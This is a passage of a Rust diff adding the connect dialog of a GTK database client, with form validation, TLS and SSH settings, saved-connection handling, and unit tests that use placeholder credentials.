caps: &DriverCapabilities) -> ConnectForm { + ConnectForm { + host: "db.example.com".to_owned(), + database: "sales".to_owned(), + username: "app".to_owned(), + password: SecretString::from("s3cret"), + ..ConnectForm::new(driver_id, caps) + } + } + + fn network(target: &RequestTarget) -> (&NetworkEndpoint, &Credentials, Option<&str>, &TlsConfig) { + match target { + RequestTarget::Network { + endpoint, + credentials, + database, + tls, + .. + } => (endpoint, credentials, database.as_deref(), tls), + RequestTarget::File(_) => panic!("expected a network target"), + } + } + + fn saved(driver_id: &str, username: &str, auth_mode: AuthMode) -> SavedConnection { + SavedConnection { + id: Uuid::new_v4(), + name: "saved".into(), + driver_id: driver_id.into(), + host: "sql.corp.example".into(), + port: 1433, + database: "sales".into(), + username: username.into(), + tls: TlsConfig::disabled(), + read_only: false, + auth_mode, + ssh: None, + last_opened_at: None, + color: None, + group: None, + } + } + + #[test] + fn verify_full_is_default() { + for caps in [postgres(), mysql(), mssql()] { + assert_eq!(ConnectForm::new("x", caps).tls.mode, TlsMode::VerifyFull); + } + let form = filled("postgres", postgres()); + let valid = form.validate(postgres()).expect("a valid form"); + assert_eq!(network(&valid.target).3, &TlsConfig::verify_full()); + } + + #[test] + fn kerberos_rejected_when_driver_lacks_it() { + let form = ConnectForm { + auth: AuthMode::Kerberos, + ..filled("postgres", postgres()) + }; + + let errors = form.validate(postgres()).err().expect("an unsupported login"); + + assert!(errors.has(FormField::AuthMode), "{errors:?}"); + assert!(mssql().supports(AuthMode::Kerberos)); + let kerberos = ConnectForm { + auth: AuthMode::Kerberos, + ..filled("mssql", mssql()) + }; + let valid = kerberos.validate(mssql()).expect("SQL Server takes Kerberos"); + assert!(matches!(network(&valid.target).1, Credentials::Integrated)); + } + + #[test] + fn mysql_requires_database() { + let empty = ConnectForm { + database: " ".to_owned(), + ..filled("mysql", mysql()) + }; + let errors = empty.validate(mysql()).err().expect("MySQL needs a database"); + assert!(errors.has(FormField::Database), "{errors:?}"); + + let postgres_empty = ConnectForm { + database: String::new(), + ..filled("postgres", postgres()) + }; + let valid = postgres_empty + .validate(postgres()) + .expect("PostgreSQL opens the user's own database"); + assert_eq!(network(&valid.target).2, None, "an empty database was sent as a name"); + } + + #[test] + fn client_identity_never_reaches_mssql() { + let mut form = filled("mssql", mssql()); + form.tls.client_certificate = Some(PathBuf::from("/etc/tls/client.pem")); + form.tls.client_key = Some(PathBuf::from("/etc/tls/client.key")); + + let valid = form.validate(mssql()).expect("the hidden rows are left out"); + assert_eq!(network(&valid.target).3.client_identity, None); + + let tls = form + .tls + .config(postgres().tls.as_ref().expect("tls"), TransportClass::DirectTcp); + assert!(tls.client_identity.is_some(), "PostgreSQL lost the client certificate"); + let refused = TlsConfig { + client_identity: tls.client_identity.clone(), + ..TlsConfig::verify_full() + } + .validate(mssql().tls.as_ref().expect("tls"), TransportClass::DirectTcp) + .expect_err("SQL Server takes no client certificate"); + assert_eq!(tls_field(&refused, &tls), FormField::ClientCertificate); + } + + #[test] + fn a_half_chosen_client_identity_points_at_the_missing_file() { + let mut form = filled("postgres", postgres()); + form.tls.client_certificate = Some(PathBuf::from("/etc/tls/client.pem")); + + let errors = form.validate(postgres()).err().expect("an incomplete identity"); + + assert!(errors.has(FormField::ClientKey), "{errors:?}"); + } + + #[test] + fn file_driver_requires_file() { + let form = ConnectForm::new("sqlite", sqlite()); + let errors = form.validate(sqlite()).err().expect("no file chosen"); + assert!(errors.has(FormField::File)); + assert!( + errors.shown_on(FormField::File).is_none(), + "an untouched row is painted red" + ); + + let path = PathBuf::from("/srv/app.db"); + let chosen = ConnectForm { + file: Some(FileEndpoint::create_new(path.clone()).expect("absolute")), + ..form + }; + let valid = chosen.validate(sqlite()).expect("a file was chosen"); + let RequestTarget::File(endpoint) = valid.target else { + panic!("expected a file target"); + }; + assert_eq!(endpoint.path(), path); + assert_eq!(endpoint.mode(), tablepro_core::FileOpenMode::CreateNew); + } + + #[test] + fn ssh_key_auth_requires_path() { + let mut form = filled("postgres", postgres()); + form.ssh = Some(SshFormState { + host: "bastion".to_owned(), + key_path: String::new(), + auth: SshAuthChoice::PrivateKey, + ..SshFormState::new(&SshEnvironment::default()) + }); + + let errors = form.validate(postgres()).err().expect("a key login with no key"); + + assert!(errors.has(FormField::SshKeyPath), "{errors:?}"); + } + + #[test] + fn port_follows_endpoint_default_until_edited() { + let mut form = ConnectForm::new("postgres", postgres()); + assert_eq!(form.port, 5432); + + form.switch_driver("mysql", mysql()); + assert_eq!(form.port, 3306); + + form.port = 6543; + form.port_edited = true; + form.switch_driver("mssql", mssql()); + assert_eq!(form.port, 6543, "a typed port was replaced"); + } + + #[test] + fn driver_switch_keeps_host_database_username() { + let mut form = filled("postgres", postgres()); + + form.switch_driver("mysql", mysql()); + form.switch_driver("sqlite", sqlite()); + form.switch_driver("mssql", mssql()); + + assert_eq!(form.host, "db.example.com"); + assert_eq!(form.database, "sales"); + assert_eq!(form.username, "app"); + } + + #[test] + fn hidden_fields_are_omitted_from_request() { + let mut form = filled("mssql", mssql()); + form.auth = AuthMode::Kerberos; + form.tls.mode = TlsMode::Disable; + form.tls.ca_file = Some(PathBuf::from("/etc/tls/ca.pem")); + form.tls.server_name = "db.internal".to_owned(); + + let valid = form.validate(mssql()).expect("valid"); + let (_, credentials, _, tls) = network(&valid.target); + assert!(matches!(credentials, Credentials::Integrated), "a password was sent"); + assert_eq!(tls, &TlsConfig::disabled(), "Disable still carried TLS files"); + + let mut mysql_form = filled("mysql", mysql()); + mysql_form.tls.server_name = "db.internal".to_owned(); + let direct = mysql_form.validate(mysql()).expect("valid"); + assert_eq!( + network(&direct.target).3.server_name, + None, + "MySQL cannot override the name over direct TCP" + ); + + let mut file_form = ConnectForm::new("sqlite", sqlite()); + file_form.host = "db.example.com".to_owned(); + file_form.ssh = Some(SshFormState::new(&SshEnvironment::default())); + file_form.file = Some(FileEndpoint::open_existing(PathBuf::from("/srv/app.db")).expect("absolute")); + let file = file_form.validate(sqlite()).expect("valid"); + assert!(matches!(file.target, RequestTarget::File(_))); + assert!(file.ssh.is_none()); + } + + #[test] + fn a_kerberos_form_saves_no_username_and_keeps_no_password() { + let form = ConnectForm { + auth: AuthMode::Kerberos, + ..filled("mssql", mssql()) + }; + let valid = form.validate(mssql()).expect("valid"); + + let entry = form.saved_connection(mssql(), &valid, Uuid::new_v4(), None); + + assert_eq!(entry.username, ""); + assert_eq!(entry.auth_mode, AuthMode::Kerberos); + assert!(form.secrets_to_store(&valid, &entry).is_empty()); + } + + #[test] + fn remember_off_keeps_no_password_and_forgets_the_old_one() { + let remembering = filled("postgres", postgres()); + let valid = remembering.validate(postgres()).expect("valid"); + let entry = remembering.saved_connection(postgres(), &valid, Uuid::new_v4(), None); + let stored = remembering.secrets_to_store(&valid, &entry); + assert_eq!(stored.len(), 1); + assert_eq!(stored[0].kind, SecretKind::DatabasePassword); + assert_eq!(stored[0].secret.expose_secret(), "s3cret"); + assert!(remembering.secrets_to_forget(&valid).is_empty()); + + let forgetting = ConnectForm { + remember_password: false, + ..remembering + }; + assert!(forgetting.secrets_to_store(&valid, &entry).is_empty()); + assert_eq!(forgetting.secrets_to_forget(&valid), vec![SecretKind::DatabasePassword]); + } + + #[test] + fn a_saved_entry_fills_the_form_it_was_saved_from() { + let mut form = filled("postgres", postgres()); + form.port = 6543; + form.port_edited = true; + form.tls.ca_file = Some(PathBuf::from("/etc/tls/ca.pem")); + form.ssh = Some(SshFormState { + host: "bastion".to_owned(), + auth: SshAuthChoice::Agent, + ..SshFormState::new(&SshEnvironment::default()) + }); + let valid = form.validate(postgres()).expect("valid"); + let entry = form.saved_connection(postgres(), &valid, Uuid::new_v4(), None); + + let refilled = ConnectForm::from_saved(&entry, postgres()); + + assert_eq!(refilled.host, "db.example.com"); + assert_eq!(refilled.port, 6543); + assert!(refilled.port_edited); + assert_eq!(refilled.tls, form.tls); + let ssh = refilled.ssh.expect("the SSH section came back"); + assert_eq!(ssh.host, "bastion"); + assert_eq!(entry.ssh.as_ref().map(|ssh| &ssh.auth), Some(&SavedSshAuth::Agent)); + } + + #[test] + fn match_saved_connection_by_path_for_files() { + let mut legacy = saved("sqlite", "postgres", AuthMode::Password); + legacy.database = "/srv/app.db".into(); + let form = ConnectForm { + file: Some(FileEndpoint::open_existing(PathBuf::from("/srv/app.db")).expect("absolute")), + ..ConnectForm::new("sqlite", sqlite()) + }; + let valid = form.validate(sqlite()).expect("valid"); + let candidate = form.saved_connection(sqlite(), &valid, Uuid::new_v4(), None); + + assert_eq!( + match_saved_connection(std::slice::from_ref(&legacy), &candidate, true), + Some(legacy.id) + ); + } + + #[test] + fn match_saved_connection_distinguishes_user_and_auth() { + let entry = saved("mssql", "sa", AuthMode::Password); + let entries = std::slice::from_ref(&entry); + let candidate = |username: &str, auth_mode: AuthMode| SavedConnection { + id: Uuid::new_v4(), + username: username.into(), + auth_mode, + ..entry.clone() + }; + + assert_eq!( + match_saved_connection(entries, &candidate("sa", AuthMode::Password), false), + Some(entry.id) + ); + assert_eq!( + match_saved_connection(entries, &candidate("other", AuthMode::Password), false), + None + ); + assert_eq!( + match_saved_connection(entries, &candidate("", AuthMode::Kerberos), false), + None + ); + let finance = SavedConnection { + database: "finance".into(), + ..candidate("sa", AuthMode::Password) + }; + assert_eq!(match_saved_connection(entries, &finance, false), None); + } +} diff --git a/linux/crates/app/src/ui/connect_dialog/connect_submission.rs b/linux/crates/app/src/ui/connect_dialog/connect_submission.rs new file mode 100644 index 0000000000..b0e9efeb5d --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/connect_submission.rs @@ -0,0 +1,10 @@ +use tablepro_session::{ConnectRequest, PendingSave}; + +/// What the connect dialog hands the window: where to connect, and +/// what to save once it works. The dialog itself never connects. +#[derive(Debug, Clone, glib::Boxed)] +#[boxed_type(name = "TableProConnectSubmission")] +pub struct ConnectSubmission { + pub request: ConnectRequest, + pub pending_save: PendingSave, +} diff --git a/linux/crates/app/src/ui/connect_dialog/form_errors.rs b/linux/crates/app/src/ui/connect_dialog/form_errors.rs new file mode 100644 index 0000000000..00f49e9766 --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/form_errors.rs @@ -0,0 +1,57 @@ +use super::form_field::FormField; + +/// One thing wrong with the form, pinned to the row that has it. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct FieldProblem { + pub field: FormField, + pub message: String, + /// Only empty, as opposed to filled in wrong. An empty row is not + /// painted as an error before the user has typed anything: the + /// insensitive Connect button already says the form is incomplete. + pub missing: bool, +} + +/// Every problem the form has, in the order the rows appear. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct FormErrors { + problems: Vec, +} + +impl FormErrors { + pub fn push(&mut self, field: FormField, message: String, missing: bool) { + self.problems.push(FieldProblem { + field, + message, + missing, + }); + } + + pub fn is_empty(&self) -> bool { + self.problems.is_empty() + } + + pub fn problems(&self) -> &[FieldProblem] { + &self.problems + } + + pub fn fields(&self) -> impl Iterator + '_ { + self.problems.iter().map(|problem| problem.field) + } + + pub fn has(&self, field: FormField) -> bool { + self.fields().any(|candidate| candidate == field) + } + + /// The sentence for the first problem, which is the one the user + /// reaches first going down the form. + pub fn message(&self) -> Option<&str> { + self.problems.first().map(|problem| problem.message.as_str()) + } + + /// The problem to paint on `field`, if it is one that should show. + pub fn shown_on(&self, field: FormField) -> Option<&FieldProblem> { + self.problems + .iter() + .find(|problem| problem.field == field && !problem.missing) + } +} diff --git a/linux/crates/app/src/ui/connect_dialog/form_field.rs b/linux/crates/app/src/ui/connect_dialog/form_field.rs new file mode 100644 index 0000000000..937851a7ad --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/form_field.rs @@ -0,0 +1,38 @@ +/// A row of the connect dialog that a problem can be pinned to. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum FormField { + Host, + Port, + Database, + File, + AuthMode, + Username, + Encryption, + CaFile, + ClientCertificate, + ClientKey, + ServerName, + SshHost, + SshPort, + SshUser, + SshJumpHosts, + SshKeyPath, +} + +impl FormField { + /// The rows that live in the Security group, so the dialog knows + /// which section to hand a problem to. + pub fn is_tls(self) -> bool { + matches!( + self, + Self::Encryption | Self::CaFile | Self::ClientCertificate | Self::ClientKey | Self::ServerName + ) + } + + pub fn is_ssh(self) -> bool { + matches!( + self, + Self::SshHost | Self::SshPort | Self::SshUser | Self::SshJumpHosts | Self::SshKeyPath + ) + } +} diff --git a/linux/crates/app/src/ui/connect_dialog/imp.rs b/linux/crates/app/src/ui/connect_dialog/imp.rs new file mode 100644 index 0000000000..5b7b339ec7 --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/imp.rs @@ -0,0 +1,122 @@ +use std::cell::{Cell, OnceCell, RefCell}; +use std::sync::OnceLock; + +use glib::subclass::Signal; +use gtk4::glib; +use gtk4::prelude::*; +use gtk4::subclass::prelude::*; +use libadwaita as adw; +use libadwaita::subclass::prelude::*; +use tablepro_core::{AuthMode, TlsConfig}; +use tablepro_session::ConnectAttempts; + +use super::connect_submission::ConnectSubmission; +use super::pem_validation::PemValidation; +use super::sqlite_file_row::SqliteFileRow; +use super::tls_section::TlsSection; +use super::{DialogServices, DriverEntry}; +use crate::ui::ssh_section::SshSection; + +#[derive(Default, gtk4::CompositeTemplate)] +#[template(resource = "/app/tablepro/TablePro/ui/connect-dialog.ui")] +pub struct ConnectDialog { + #[template_child] + pub test_button: TemplateChild, + #[template_child] + pub connect_button: TemplateChild, + #[template_child] + pub toast_overlay: TemplateChild, + #[template_child] + pub driver_row: TemplateChild, + #[template_child] + pub driver_names: TemplateChild, + #[template_child] + pub host_row: TemplateChild, + #[template_child] + pub port_row: TemplateChild, + #[template_child] + pub database_row: TemplateChild, + #[template_child] + pub file_row: TemplateChild, + #[template_child] + pub auth_group: TemplateChild, + #[template_child] + pub auth_mode_row: TemplateChild, + #[template_child] + pub auth_mode_names: TemplateChild, + #[template_child] + pub username_row: TemplateChild, + #[template_child] + pub password_row: TemplateChild, + #[template_child] + pub remember_row: TemplateChild, + #[template_child] + pub tls_section: TemplateChild, + #[template_child] + pub ssh_section: TemplateChild, + #[template_child] + pub read_only_row: TemplateChild, + + pub(super) services: OnceCell, + pub(super) drivers: RefCell>, + pub auth_modes: RefCell>, + /// Set once the user types a port; see `ConnectForm::port_edited`. + pub port_edited: Cell, + /// Set while the code writes rows, so its writes are not taken for + /// the user's. + pub updating: Cell, + /// The entry the dialog was reopened on, which a submission updates + /// even when the user changed the host it was found by. + pub prefill_id: Cell>, + pub pem: PemValidation, + /// The TLS settings the last file check read, so a keystroke in an + /// unrelated row does not read the files again. + pub pem_checked: RefCell>, + /// The Test run in flight. Closing the dialog or pressing Stop + /// cancels it, and its late answer is dropped. + pub tests: ConnectAttempts, + pub testing: Cell, + #[cfg(test)] + pub toasts: RefCell>, +} + +#[glib::object_subclass] +impl ObjectSubclass for ConnectDialog { + const NAME: &'static str = "TableProConnectDialog"; + type Type = super::ConnectDialog; + type ParentType = adw::Dialog; + + fn class_init(klass: &mut Self::Class) { + SqliteFileRow::ensure_type(); + TlsSection::ensure_type(); + SshSection::ensure_type(); + klass.bind_template(); + } + + fn instance_init(object: &glib::subclass::InitializingObject) { + object.init_template(); + } +} + +impl ObjectImpl for ConnectDialog { + fn signals() -> &'static [Signal] { + static SIGNALS: OnceLock> = OnceLock::new(); + SIGNALS.get_or_init(|| { + vec![ + Signal::builder("submitted") + .param_types([ConnectSubmission::static_type()]) + .build(), + ] + }) + } +} + +impl WidgetImpl for ConnectDialog {} + +impl AdwDialogImpl for ConnectDialog { + fn closed(&self) { + self.tests.cancel(); + self.testing.set(false); + self.parent_closed(); + } +} diff --git a/linux/crates/app/src/ui/connect_dialog/mod.rs b/linux/crates/app/src/ui/connect_dialog/mod.rs new file mode 100644 index 0000000000..90db84e2c5 --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/mod.rs @@ -0,0 +1,678 @@ +//! The connect dialog. It checks what the user typed and hands the +//! window a `ConnectSubmission`; the window connects and saves. The +//! Test button is the one place it connects, and it disconnects again. + +mod connect_form; +mod connect_submission; +mod form_errors; +mod form_field; +mod imp; +mod pem_validation; +mod read_only_row; +mod row_problem; +mod sqlite_file_row; +#[cfg(test)] +mod tests; +mod tls_section; + +use std::sync::Arc; + +use gtk4::glib; +use gtk4::prelude::*; +use gtk4::subclass::prelude::*; +use libadwaita as adw; +use libadwaita::prelude::*; +use secrecy::SecretString; +use tablepro_core::credentials::CredentialInteraction; +use tablepro_core::{ + AuthMode, ConfigError, DatabaseDriver, DriverCapabilities, DriverRegistry, TlsConfig, TransportClass, + WorkspaceSettings, +}; +use tablepro_session::runtime::Tasks; +use tablepro_session::{ConnectError, ConnectRequest, ConnectionMetadata, Connector, PendingSave}; +use tablepro_storage::SavedConnection; +use uuid::Uuid; + +pub use self::connect_form::ConnectForm; +use self::connect_form::match_saved_connection; +pub use self::connect_submission::ConnectSubmission; +pub use self::form_errors::FormErrors; +pub use self::form_field::FormField; +use self::pem_validation::{PemState, PemValidation}; +pub use self::row_problem::show_problem; +use crate::ui::error_text::TlsRemedy; +use crate::ui::ssh_inputs::SshEnvironment; + +glib::wrapper! { + pub struct ConnectDialog(ObjectSubclass) + @extends adw::Dialog, gtk4::Widget, + @implements gtk4::Accessible, gtk4::Buildable, gtk4::ConstraintTarget, gtk4::ShortcutManager; +} + +/// What the dialog is opened with. It reads no storage itself: the +/// saved list and the remembered driver come from the window. +pub struct ConnectDialogInit { + pub drivers: Arc, + /// Used by Test only; Connect hands the request to the window. + pub connector: Arc, + pub interaction: CredentialInteraction, + pub tasks: Tasks, + pub saved_connections: Arc<[SavedConnection]>, + pub remembered_driver: String, + pub ssh_environment: SshEnvironment, + pub prefill: Option, +} + +/// A connection to show again, after a connect from this dialog failed. +#[derive(Debug, Clone)] +pub struct ConnectPrefill { + pub connection: SavedConnection, + /// The password typed last time, held in memory only. + pub password: Option, +} + +pub(crate) struct DialogServices { + connector: Arc, + interaction: CredentialInteraction, + tasks: Tasks, + saved_connections: Arc<[SavedConnection]>, +} + +#[derive(Clone)] +pub(crate) struct DriverEntry { + id: String, + display_name: String, + driver: Arc, +} + +impl DriverEntry { + fn capabilities(&self) -> &'static DriverCapabilities { + self.driver.capabilities() + } +} + +impl ConnectDialog { + pub fn new(init: ConnectDialogInit) -> Self { + let dialog: Self = glib::Object::new(); + let imp = dialog.imp(); + let mut drivers: Vec = init + .drivers + .iter() + .map(|driver| DriverEntry { + id: driver.id().to_owned(), + display_name: driver.display_name().to_owned(), + driver: driver.clone(), + }) + .collect(); + drivers.sort_by(|a, b| a.display_name.cmp(&b.display_name)); + let names: Vec<&str> = drivers.iter().map(|entry| entry.display_name.as_str()).collect(); + imp.driver_names.splice(0, imp.driver_names.n_items(), &names); + let _ = imp.services.set(DialogServices { + connector: init.connector, + interaction: init.interaction, + tasks: init.tasks, + saved_connections: init.saved_connections, + }); + imp.ssh_section.apply_environment(&init.ssh_environment); + + let wanted = init + .prefill + .as_ref() + .map_or(init.remembered_driver.as_str(), |prefill| { + prefill.connection.driver_id.as_str() + }); + let index = driver_index(&drivers, wanted); + imp.prefill_id + .set(init.prefill.as_ref().map(|prefill| prefill.connection.id)); + imp.drivers.replace(drivers); + imp.updating.set(true); + imp.driver_row.set_selected(index as u32); + imp.updating.set(false); + + let form = match (init.prefill, dialog.entry_at(index)) { + (Some(prefill), Some(entry)) => { + let mut form = ConnectForm::from_saved(&prefill.connection, entry.capabilities()); + if let Some(password) = prefill.password { + form.password = password; + } + form + } + (None, Some(entry)) => ConnectForm::new(&entry.id, entry.capabilities()), + (_, None) => ConnectForm::new("", &NO_DRIVER), + }; + dialog.show_driver(index, &form); + dialog.connect_handlers(); + dialog.recheck_files(); + dialog.refresh(); + dialog + } + + pub fn connect_submitted(&self, f: F) -> glib::SignalHandlerId { + self.connect_closure( + "submitted", + false, + glib::closure_local!(move |dialog: &Self, submission: ConnectSubmission| { + f(dialog, submission); + }), + ) + } + + /// Show a row and put the focus in it, for an error that names the + /// setting that fixes it. + pub fn reveal_field(&self, field: FormField) { + let imp = self.imp(); + if field.is_tls() { + imp.tls_section.reveal(field); + } else if field.is_ssh() { + imp.ssh_section.reveal(field); + } else { + let row: gtk4::Widget = match field { + FormField::Port => imp.port_row.get().upcast(), + FormField::Database => imp.database_row.get().upcast(), + FormField::File => imp.file_row.get().upcast(), + FormField::AuthMode => imp.auth_mode_row.get().upcast(), + FormField::Username => imp.username_row.get().upcast(), + _ => imp.host_row.get().upcast(), + }; + row.grab_focus(); + } + } + + fn services(&self) -> Option<&DialogServices> { + self.imp().services.get() + } + + fn entry_at(&self, index: usize) -> Option { + self.imp().drivers.borrow().get(index).cloned() + } + + fn current_entry(&self) -> Option { + self.entry_at(self.imp().driver_row.selected() as usize) + } + + fn connect_handlers(&self) { + let imp = self.imp(); + let weak = self.downgrade(); + imp.driver_row.connect_selected_notify(move |_| { + if let Some(dialog) = weak.upgrade() + && !dialog.imp().updating.get() + { + dialog.switch_driver(); + } + }); + let weak = self.downgrade(); + imp.port_row.connect_value_notify(move |_| { + if let Some(dialog) = weak.upgrade() + && !dialog.imp().updating.get() + { + dialog.imp().port_edited.set(true); + dialog.refresh(); + } + }); + let weak = self.downgrade(); + imp.auth_mode_row.connect_selected_notify(move |_| { + if let Some(dialog) = weak.upgrade() + && !dialog.imp().updating.get() + { + dialog.show_auth_rows(); + dialog.refresh(); + } + }); + let entries: [&adw::EntryRow; 3] = [&imp.host_row, &imp.database_row, &imp.username_row]; + for row in entries { + let weak = self.downgrade(); + row.connect_changed(move |_| { + if let Some(dialog) = weak.upgrade() { + dialog.refresh(); + } + }); + } + let weak = self.downgrade(); + imp.password_row.connect_changed(move |_| { + if let Some(dialog) = weak.upgrade() { + dialog.refresh(); + } + }); + let weak = self.downgrade(); + imp.file_row.connect_changed(move |_| { + if let Some(dialog) = weak.upgrade() { + dialog.refresh(); + } + }); + let weak = self.downgrade(); + imp.tls_section.connect_changed(move |_| { + if let Some(dialog) = weak.upgrade() { + dialog.recheck_files(); + dialog.refresh(); + } + }); + let weak = self.downgrade(); + imp.ssh_section.connect_changed(move |_| { + if let Some(dialog) = weak.upgrade() { + dialog.imp().tls_section.set_route(dialog.route()); + dialog.recheck_files(); + dialog.refresh(); + } + }); + let weak = self.downgrade(); + imp.connect_button.connect_clicked(move |_| { + if let Some(dialog) = weak.upgrade() { + dialog.submit(); + } + }); + let weak = self.downgrade(); + imp.test_button.connect_clicked(move |_| { + if let Some(dialog) = weak.upgrade() { + dialog.toggle_test(); + } + }); + } + + /// The form as the rows hold it now. + pub fn form(&self) -> ConnectForm { + let imp = self.imp(); + let entry = self.current_entry(); + let caps = entry.as_ref().map_or(&NO_DRIVER, DriverEntry::capabilities); + let auth = imp + .auth_modes + .borrow() + .get(imp.auth_mode_row.selected() as usize) + .copied() + .unwrap_or_default(); + ConnectForm { + driver_id: entry.map(|entry| entry.id).unwrap_or_default(), + host: imp.host_row.text().to_string(), + port: imp.port_row.value() as u16, + port_edited: imp.port_edited.get(), + database: imp.database_row.text().to_string(), + auth, + username: imp.username_row.text().to_string(), + password: SecretString::from(imp.password_row.text().to_string()), + remember_password: imp.remember_row.is_active(), + tls: imp.tls_section.form_state(), + read_only: imp.read_only_row.is_active(), + ssh: (!caps.is_file_based()).then(|| imp.ssh_section.form_state()).flatten(), + file: imp.file_row.endpoint(), + } + } + + fn route(&self) -> TransportClass { + if self.imp().ssh_section.is_enabled() { + TransportClass::SshForward + } else { + TransportClass::DirectTcp + } + } + + fn switch_driver(&self) { + let imp = self.imp(); + let index = imp.driver_row.selected() as usize; + let Some(entry) = self.entry_at(index) else { + return; + }; + let mut form = self.form(); + form.switch_driver(&entry.id, entry.capabilities()); + self.show_driver(index, &form); + self.recheck_files(); + self.refresh(); + } + + /// Show the rows `index`'s driver uses, filled from `form`. + fn show_driver(&self, index: usize, form: &ConnectForm) { + let imp = self.imp(); + let Some(entry) = self.entry_at(index) else { + return; + }; + let caps = entry.capabilities(); + let file_based = caps.is_file_based(); + imp.updating.set(true); + imp.host_row.set_text(&form.host); + imp.port_row.set_value(f64::from(form.port)); + imp.port_edited.set(form.port_edited); + imp.database_row.set_text(&form.database); + imp.username_row.set_text(&form.username); + if imp.password_row.text() != secrecy::ExposeSecret::expose_secret(&form.password) { + imp.password_row + .set_text(secrecy::ExposeSecret::expose_secret(&form.password)); + } + imp.read_only_row.set_active(form.read_only); + if form.file.is_some() || imp.file_row.endpoint().is_some() { + imp.file_row.set_endpoint(form.file.clone()); + } + if let Some(ssh) = &form.ssh { + imp.ssh_section.set_state(Some(ssh)); + } + + let modes: Vec = caps.auth_modes.to_vec(); + let labels: Vec = modes.iter().map(|mode| auth_mode_label(*mode)).collect(); + let labels: Vec<&str> = labels.iter().map(String::as_str).collect(); + imp.auth_mode_names.splice(0, imp.auth_mode_names.n_items(), &labels); + let selected = modes.iter().position(|mode| *mode == form.auth).unwrap_or(0); + imp.auth_mode_row.set_selected(selected as u32); + imp.auth_modes.replace(modes); + imp.updating.set(false); + + imp.host_row.set_visible(!file_based); + imp.port_row.set_visible(!file_based); + imp.database_row.set_visible(!file_based); + imp.database_row.set_title(&if caps.database_required { + crate::i18n::gettext("Database") + } else { + crate::i18n::gettext("Database (optional)") + }); + imp.file_row.set_visible(file_based); + imp.auth_group.set_visible(!file_based && !caps.auth_modes.is_empty()); + imp.ssh_section.set_visible(!file_based); + let tls = if file_based { None } else { caps.tls.as_ref() }; + imp.tls_section.apply(tls, self.route(), &form.tls); + imp.read_only_row + .set_subtitle(&read_only_row::read_only_subtitle(caps.read_only)); + self.show_auth_rows(); + self.set_title(&crate::i18n::gettext_f( + "Connect to {name}", + &[("name", &entry.display_name)], + )); + } + + fn show_auth_rows(&self) { + let imp = self.imp(); + imp.auth_mode_row.set_visible(imp.auth_modes.borrow().len() > 1); + let password = self.form().auth == AuthMode::Password; + imp.username_row.set_visible(password); + imp.password_row.set_visible(password); + imp.remember_row.set_visible(password); + } + + /// The TLS settings the request would carry, for the file check. + fn tls_config(&self) -> TlsConfig { + let Some(entry) = self.current_entry() else { + return TlsConfig::disabled(); + }; + match entry.capabilities().tls.as_ref() { + Some(caps) if !entry.capabilities().is_file_based() => { + self.imp().tls_section.form_state().config(caps, self.route()) + } + _ => TlsConfig::disabled(), + } + } + + /// Read the chosen certificate files on the blocking pool. Connect + /// waits for the answer, and only the newest check counts. + fn recheck_files(&self) { + let imp = self.imp(); + let config = self.tls_config(); + if imp.pem_checked.borrow().as_ref() == Some(&config) { + return; + } + imp.pem_checked.replace(Some(config.clone())); + if !PemValidation::needs_check(&config) { + imp.pem.clear(); + return; + } + let Some(services) = self.services() else { + return; + }; + let ticket = imp.pem.begin(); + let fallback_path = config + .ca_file + .clone() + .or_else(|| { + config + .client_identity + .as_ref() + .map(|identity| identity.certificate.clone()) + }) + .unwrap_or_default(); + let check = services + .tasks + .spawn_blocking_task(move || tablepro_net::tls::check_pem_files(&config)); + let weak = self.downgrade(); + glib::spawn_future_local(async move { + let result = check.await.unwrap_or_else(|failure| { + Err(ConfigError::CaFile { + path: fallback_path, + problem: tablepro_core::CertificateFileProblem::Unreadable { + detail: failure.to_string(), + }, + }) + }); + if let Some(dialog) = weak.upgrade() + && dialog.imp().pem.finish(ticket, result) + { + dialog.refresh(); + } + }); + } + + /// Paint the rows, and allow Connect only on a form that would work. + fn refresh(&self) { + let imp = self.imp(); + if imp.updating.get() { + return; + } + let Some(entry) = self.current_entry() else { + imp.connect_button.set_sensitive(false); + imp.test_button.set_sensitive(false); + return; + }; + let errors = self.form().validate(entry.capabilities()).err().unwrap_or_default(); + let shown = |field| errors.shown_on(field).map(|problem| problem.message.as_str()); + show_problem(&*imp.host_row, shown(FormField::Host)); + show_problem(&*imp.port_row, shown(FormField::Port)); + show_problem(&*imp.database_row, shown(FormField::Database)); + show_problem(&*imp.file_row, shown(FormField::File)); + show_problem(&*imp.auth_mode_row, shown(FormField::AuthMode)); + show_problem(&*imp.username_row, shown(FormField::Username)); + let pem = imp.pem.state(); + let file_problem = match &pem { + PemState::Invalid(error) => Some(error), + PemState::Valid | PemState::Pending => None, + }; + imp.tls_section.show_problems(&errors, file_problem); + imp.ssh_section.show_problems(&errors); + + let blocker = match (&pem, errors.message()) { + (_, Some(message)) => Some(message.to_owned()), + (PemState::Invalid(error), None) => Some(crate::ui::error_text::config_message(error)), + (PemState::Pending, None) => Some(crate::i18n::gettext("Checking the certificate files…")), + (PemState::Valid, None) => None, + }; + imp.connect_button.set_sensitive(blocker.is_none()); + imp.connect_button.set_tooltip_text(blocker.as_deref()); + imp.test_button.set_sensitive(blocker.is_none() || imp.testing.get()); + } + + /// Everything a Connect or a Test sends, or the reason there is + /// nothing to send yet. + fn build_submission(&self) -> Result { + let entry = self + .current_entry() + .ok_or_else(|| crate::i18n::gettext("No driver selected"))?; + let caps = entry.capabilities(); + let form = self.form(); + let valid = form + .validate(caps) + .map_err(|errors| errors.message().unwrap_or_default().to_owned())?; + match self.imp().pem.state() { + PemState::Valid => {} + PemState::Pending => return Err(crate::i18n::gettext("Checking the certificate files…")), + PemState::Invalid(error) => return Err(crate::ui::error_text::config_message(&error)), + } + let saved_connections = self + .services() + .map(|services| services.saved_connections.clone()) + .unwrap_or_else(|| Arc::from(Vec::new())); + let candidate = form.saved_connection(caps, &valid, Uuid::new_v4(), None); + let reopened = self.imp().prefill_id.get(); + let existing = saved_connections + .iter() + .find(|saved| Some(saved.id) == reopened && saved.driver_id == entry.id) + .or_else(|| { + match_saved_connection(&saved_connections, &candidate, caps.is_file_based()) + .and_then(|id| saved_connections.iter().find(|saved| saved.id == id)) + }); + let id = 